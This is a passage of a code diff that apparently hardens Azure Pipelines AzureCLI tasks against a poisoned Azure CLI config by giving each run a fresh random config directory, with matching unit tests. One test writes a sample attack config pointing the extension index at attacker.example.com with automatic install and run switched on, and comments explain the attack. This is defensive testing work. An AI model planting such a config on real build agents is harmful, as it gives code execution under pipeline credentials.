fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV2/azureclitask.ts b/_generated/AzureCLIV2/azureclitask.ts index 29b34905b4ae..7ee68d6bc1ad 100644 --- a/_generated/AzureCLIV2/azureclitask.ts +++ b/_generated/AzureCLIV2/azureclitask.ts @@ -10,6 +10,7 @@ import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -147,7 +148,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -155,6 +160,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -223,6 +233,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -354,13 +365,20 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; - } else { + const tempDir = tl.getVariable('Agent.TempDirectory'); + if (!tempDir) { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); + return; } + + // Security: use a freshly-created, unpredictable per-invocation directory + // so that an earlier step cannot pre-seed $(Agent.TempDirectory)/.azclitask/config + // with a poisoned extension.index_url (security hardening). + // fs.mkdtempSync creates a brand-new directory; the random suffix prevents + // attacker pre-seeding and the tight perms come from the agent temp root. + this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/_generated/AzureCLIV2/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV2_Node24/Tests/L0.ts b/_generated/AzureCLIV2_Node24/Tests/L0.ts index 033bce6979db..ccd3e0f83155 100644 --- a/_generated/AzureCLIV2_Node24/Tests/L0.ts +++ b/_generated/AzureCLIV2_Node24/Tests/L0.ts @@ -4,6 +4,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV2 Suite', function () { this.timeout(30000); @@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => { let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js'); let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp); diff --git a/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/_generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV2_Node24/azureclitask.ts b/_generated/AzureCLIV2_Node24/azureclitask.ts index 29b34905b4ae..7ee68d6bc1ad 100644 --- a/_generated/AzureCLIV2_Node24/azureclitask.ts +++ b/_generated/AzureCLIV2_Node24/azureclitask.ts @@ -10,6 +10,7 @@ import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -147,7 +148,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -155,6 +160,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -223,6 +233,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -354,13 +365,20 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; - } else { + const tempDir = tl.getVariable('Agent.TempDirectory'); + if (!tempDir) { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); + return; } + + // Security: use a freshly-created, unpredictable per-invocation directory + // so that an earlier step cannot pre-seed $(Agent.TempDirectory)/.azclitask/config + // with a poisoned extension.index_url (security hardening). + // fs.mkdtempSync creates a brand-new directory; the random suffix prevents + // attacker pre-seeding and the tight perms come from the agent temp root. + this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV3/Tests/L0.ts b/_generated/AzureCLIV3/Tests/L0.ts index c9a3187f3d95..16c268f7b7ab 100644 --- a/_generated/AzureCLIV3/Tests/L0.ts +++ b/_generated/AzureCLIV3/Tests/L0.ts @@ -3,6 +3,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV3 Suite', function () { const timeout = 30000; @@ -21,6 +22,10 @@ describe('AzureCLIV3 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('Should handle Azure DevOps connection with Workload Identity Federation', function (done) { this.timeout(timeout); diff --git a/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/_generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/_generated/AzureCLIV3/azureclitask.ts b/_generated/AzureCLIV3/azureclitask.ts index 3b6b24feb1d0..979dd9207b08 100644 --- a/_generated/AzureCLIV3/azureclitask.ts +++ b/_generated/AzureCLIV3/azureclitask.ts @@ -10,6 +10,7 @@ import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { emitTelemetry } from 'azure-pipelines-tasks-artifacts-common/telemetry'; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -162,7 +163,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -170,6 +175,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -259,6 +269,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -502,10 +513,14 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/_generated/AzureCLIV3/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/_generated/AzureCLIV3_Node24/Tests/L0.ts b/_generated/AzureCLIV3_Node24/Tests/L0.ts index c9a3187f3d95..16c268f7b7ab 100644 --- a/_generated/AzureCLIV3_Node24/Tests/L0.ts +++ b/_generated/AzureCLIV3_Node24/Tests/L0.ts @@ -3,6 +3,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV3 Suite', function () { const timeout = 30000; @@ -21,6 +22,10 @@ describe('AzureCLIV3 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('Should handle Azure DevOps connection with Workload Identity Federation', function (done) { this.timeout(timeout); diff --git a/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts b/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/_generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point 